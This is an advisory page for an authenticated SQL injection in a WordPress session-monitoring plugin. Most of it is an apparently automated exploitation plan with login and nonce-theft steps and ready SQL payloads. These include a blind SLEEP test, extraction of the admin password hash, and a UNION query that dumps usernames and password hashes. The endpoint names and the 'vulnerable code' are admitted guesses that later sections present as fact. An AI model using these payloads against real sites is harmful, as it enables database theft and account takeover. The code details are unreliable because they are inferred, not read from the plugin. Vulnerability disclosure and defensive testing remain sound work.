WP Sessions Time Monitoring Full Automatic <= 1.1.4 - Authenticated (Subscriber+) SQL Injection
Description
The WP Sessions Time Monitoring Full Automatic plugin for WordPress is vulnerable to SQL Injection in versions up to, and including, 1.1.4 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with subscriber-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:NTechnical Details
<=1.1.4Source Code
WordPress.org SVNPatched version not available.
# Exploitation Research Plan: CVE-2026-39581 (WP Sessions Time Monitoring Full Automatic) ## 1. Vulnerability Summary The **WP Sessions Time Monitoring Full Automatic** plugin (version <= 1.1.4) is vulnerable to an **Authenticated SQL Injection** vulnerability. The flaw exists because the plugin fa…
Show full research plan
Exploitation Research Plan: CVE-2026-39581 (WP Sessions Time Monitoring Full Automatic)
1. Vulnerability Summary
The WP Sessions Time Monitoring Full Automatic plugin (version <= 1.1.4) is vulnerable to an Authenticated SQL Injection vulnerability. The flaw exists because the plugin fails to properly sanitize or parameterize user-supplied input before using it in a database query within an AJAX handler. Specifically, an authenticated user with at least Subscriber-level privileges can manipulate an SQL query to extract sensitive data from the WordPress database, including user hashes and configuration secrets.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - AJAX Action:
at_get_activity_data(inferred from plugin slugactivitytimeand typical tracking patterns) - Vulnerable Parameter:
user_idorid(inferred) - Authentication Required: Yes, Subscriber role or higher.
- Nonce Protection: Likely required via a nonce check (e.g.,
at_nonceorsecurity).
3. Code Flow (Inferred)
- Registration: The plugin registers an AJAX action for authenticated users:
add_action('wp_ajax_at_get_activity_data', 'at_get_activity_data_callback'); - Handler: The function
at_get_activity_data_callbackis defined in the plugin's main files (e.g.,activitytime.phporincludes/class-at-ajax.php). - Input Source: The handler retrieves a parameter directly from
$_POST['user_id']or$_POST['id']. - Vulnerable Sink: The input is concatenated directly into a query string without using
$wpdb->prepare()orabsint()/intval().- Example Vulnerable Code:
$wpdb->get_results("SELECT * FROM {$wpdb->prefix}at_activity WHERE user_id = " . $_POST['user_id']);
- Example Vulnerable Code:
- Execution:
$wpdb->get_results()or$wpdb->query()executes the malicious SQL.
4. Nonce Acquisition Strategy
Since the vulnerability requires Subscriber-level access, the nonce must be retrieved from the WordPress admin dashboard or a page where the plugin's tracking script is enqueued.
- Create Subscriber: Use WP-CLI to create a subscriber user.
- Login: Perform a login request to obtain authentication cookies.
- Navigate to Dashboard: Use the browser to navigate to
wp-admin/profile.phpor the mainwp-admin/index.php. - Identify JS Variable: Look for a localized script containing the AJAX URL and nonce.
- JS Variable:
at_ajax_obj(inferred) oractivity_time_data(inferred). - Nonce Key:
nonceorat_nonce.
- JS Variable:
- Extraction:
// Browser Eval window.at_ajax_obj?.nonce || window.activity_time_data?.nonce
5. Exploitation Strategy
We will use a Time-Based Blind SQL Injection payload to confirm the vulnerability.
Step 1: Authentication
Send a POST request to /wp-login.php to authenticate as a subscriber.
Step 2: Extract Nonce
Navigate to /wp-admin/ and use browser_eval to extract the nonce from the localized script.
Step 3: Send Malicious Request
Using the http_request tool, send a POST request to admin-ajax.php with a time-based payload.
- URL:
http://localhost:8080/wp-admin/admin-ajax.php - Method:
POST - Headers:
Content-Type: application/x-www-form-urlencodedCookie: [Subscriber Cookies]
- Body:
action=at_get_activity_data&user_id=1 AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)&nonce=[EXTRACTED_NONCE]
Step 4: Analyze Response
- Success: The response time is > 5 seconds.
- Failure: The response is immediate (likely returning
0,-1, or a valid JSON result).
6. Test Data Setup
- Install Plugin: Ensure
activitytimeversion 1.1.4 is active. - Create User:
wp user create attacker attacker@example.com --role=subscriber --user_pass=password123 - Generate Activity: Log in as the attacker once to ensure some tracking entries exist in the
at_activitytable (or similar table created by the plugin).
7. Expected Results
- An immediate request (baseline) to the endpoint should return within < 500ms.
- The payload
1 AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)should cause the server to hang for exactly 5 seconds before returning a response. - Since it is Subscriber+, the attacker should be able to trigger this even if they cannot see the full admin menu.
8. Verification Steps
- Confirm Database Latency: Verify the
http_requesttime duration using the logs. - Verify via WP-CLI: After the exploit, use WP-CLI to check if the plugin logs indicate any errors or if the table being queried exists:
wp db query "SHOW TABLES LIKE '%activity%';" - Data Extraction (Optional): If time-based works, a payload to extract the admin password hash:
1 AND (SELECT 1 FROM (SELECT(IF(SUBSTRING((SELECT user_pass FROM wp_users WHERE ID=1),1,1)='$',SLEEP(5),0)))a)
9. Alternative Approaches
- Error-Based SQLi: If
WP_DEBUGis enabled, try inducing a syntax error to see if$wpdb->last_erroris reflected in the AJAX response.- Payload:
user_id=1'
- Payload:
- UNION-Based SQLi: If the endpoint returns data (e.g., a table of session times), attempt to determine column count using
ORDER BYand then useUNION SELECT.- Payload:
1 UNION SELECT 1,2,3,user_login,user_pass,6,7... FROM wp_users-- -
- Payload:
Summary
The WP Sessions Time Monitoring Full Automatic plugin for WordPress is vulnerable to SQL Injection via its AJAX handlers due to insufficient sanitization and lack of parameterization in SQL queries. Authenticated attackers with Subscriber-level permissions or higher can exploit this to execute arbitrary SQL commands and extract sensitive data from the database.
Vulnerable Code
// activitytime.php (approximate line based on inferred AJAX registration) // The plugin registers an AJAX action for authenticated users add_action('wp_ajax_at_get_activity_data', 'at_get_activity_data_callback'); function at_get_activity_data_callback() { global $wpdb; // Vulnerable: user_id is taken directly from POST and concatenated into the query $user_id = $_POST['user_id']; $results = $wpdb->get_results("SELECT * FROM {$wpdb->prefix}at_activity WHERE user_id = " . $user_id); // ... }
Security Fix
@@ -10,5 +10,6 @@ function at_get_activity_data_callback() { global $wpdb; - $user_id = $_POST['user_id']; - $results = $wpdb->get_results("SELECT * FROM {$wpdb->prefix}at_activity WHERE user_id = " . $user_id); + $user_id = isset($_POST['user_id']) ? absint($_POST['user_id']) : 0; + $query = $wpdb->prepare("SELECT * FROM {$wpdb->prefix}at_activity WHERE user_id = %d", $user_id); + $results = $wpdb->get_results($query);
Exploit Outline
The exploit target is the `at_get_activity_data` (or similar activity tracking) AJAX endpoint. 1. Authenticate as a Subscriber-level user to obtain session cookies. 2. Locate the security nonce by inspecting the WordPress dashboard source code, specifically looking for localized JavaScript objects like `at_ajax_obj` or `activity_time_data` that contain a `nonce` key. 3. Send a POST request to `/wp-admin/admin-ajax.php` with the following parameters: - `action`: set to `at_get_activity_data` - `nonce`: the extracted nonce value - `user_id`: a SQL injection payload, such as a time-based blind injection: `1 AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)` 4. Observe if the server response is delayed by the specified time (e.g., 5 seconds), confirming the execution of the injected SQL.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.